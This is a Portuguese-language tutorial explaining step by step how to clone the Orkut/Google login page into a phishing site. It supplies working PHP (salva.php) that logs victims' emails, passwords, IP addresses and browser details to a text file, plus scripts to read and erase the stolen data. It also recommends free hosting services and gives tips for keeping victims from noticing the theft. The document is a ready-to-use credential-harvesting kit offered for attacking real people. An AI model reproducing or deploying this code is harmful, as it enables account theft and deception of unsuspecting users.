Vou mostrar aqui como se faz uma página fake do orkut ou de qualquer site que queira "clonar".
Este método funfa perfeitamente para o orkut, porém pra alguns sites como hotmail ou yahoo, não funfa.
Primeiramente vc vai precisar de um site de hospedagem da fake, algum site que aceite PHP, indico o 110mb, 000webhost
Cuidado ao criar a conta, eles estão deletando contas com nomes de Orkut, Orkvt, Orkt, Orkutt, etc.

.
Depois de criada a conta vc vai precisar de uma página fake do orkut (ou do site que quiser) pra isso vai na página que vc quer clonar e clica com o botão direito e vá em "exibir código fonte".
Salve o que aparecer no bloco de notas como "Login.htm"
NOTA: Vamos nos concentrar numa do orkut...
.
.
Se vc der duplo click no arquivo vai abrir a página QUASE pronta, observe que a palavra google não está colorido, vai precisar mudar o endereço onde a página busca esta imagem, pra isso, vai no arquivo click com o botão direito e vá em "abrir com... bloco de notas"
vai aparecer o código html.
.
No código (no bloco de notas) dê CTRL F, vai aparecer uma janela e digite lá pra "Localizar", src, click em "Localizar próxima" e vai clicando até vc localizar um endereço que vai tá exatamente assim:
.
<img src="google_transparent.gif"
.
veja bem este endereço está incompleto quando a página está hospedada num site fora do orkut a imagem não é encontrada e por isso vc deve acrescentar o ENDEREÇO COMPLETO, coloque assim:
.
<img src="https://www.google.com/accounts/google_transparent.gif"
.
.
NOTA: Observe bem que é https e não http.

Ainda com a página aberta no bloco de notas, CTRL F de novo pra localizar agora a palavra action, vai lá...
.
Encontrou? Só tem uma palavra em todo o código, vc vai encontrar um endereço assim (entre aspas):
.
https://www.google.com/accounts/ServiceLoginAuth?service=orkut
.
vai substituir todo ele por salva.php
.
Com a palavra action o código inteiro vai ficar assim:
.
action="salva.php"
.
Salve a página, ela está pronta agora.

Agora vamos criar os arquivos em PHP, pra isso abra o bloco de notas e cole estes códigos
.
.
-> SALVA.PHP
.
Com o bloco de notas aberto cole esse código:
.
<?php
$nomearquivo ="senhas.txt";
$email =$_POST["Email"];
$senha =$_POST["Passwd"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date("Y-m-d");
$hora =date("H:i:s");
$traco ="<br>__________________________________________________________________<br>";
$ess ="Email: ".$email."<br>Senha: ".$senha."<br>Navegador: ".$browser."<br>IP: ".$ip."<br>Nome do Host: ".$hostname."<br>Data: ".$data."<br>Hora: ".$hora."<br>".$traco;
$abre =@fopen("senhas.txt","a+");
$escreve =fwrite($abre, $ess);
echo "<script>javascript:document.location='http://www.orkut.com'</script>";
?>
.
e salve como salva.php.
.
Observe que uma parte escrito assim http://www.orkut.com no código está destacado, este é o endereço que a pessoa vai assim que clicar em "acessar" na página de login (página fake no nosso caso).
Perceba que vc pode colocar o endereço que quiser... Uma dica se vc mandou pra uma pessoa e disse que era uma comunidade legal, substitua o endereço acima pra uma comunidade, daí ao clicar em acessar a pessoa realmente vai pra uma comunidade e não pra sua página inicial, dessa forma a vítima não percebe que te mandou a senha.
.
-> LER.PHP
Com esse arquivo é que vc vai ler as senhas...
Cole mais uma vez no bloco de notas o seguinte cósigo:
<?php
$fd = @fopen("senhas.txt","r") or die("Ops,Avise o web master que falta um ficheiro no servidor.");
fpassthru($fd);
?>
e salve como ler.php.

-> APAGAR.PHP
.
Com esse arquivo é que vc vai apagar as senhas...
Cole mais uma vez no bloco de notas o seguinte cósigo:
.
.
<?php
$fd = @fopen("senhas.txt","w") or die("arquivo inexistente");
fpassthru($fd);
?>
.
.
.
e salve como apagar.php.

Agora depois de fazer os três arquivos vc só precisara saber:
.
-> Login.htm: a página fake já com as modificações necessárias.
-> salva.php: arquivo php necessário pra página funcionar.
-> ler.php: com esse arquivo é que vc vai conseguir ver as senhas e logins.
-> apagar.php: com esse arquivo vc vai apagar as senhas e logins depois de ter guardado.
.
Agora vc deve hospedar os quatro arquivos num site como o 110mb, freehyperspace5, 000webhost
.
IMPORTANTE: COLOQUE TODOS OS ARQUIVOS JUNTOS NO MESMO DIRETÓRIO.

Tuto Criado Por:Hacker do Bem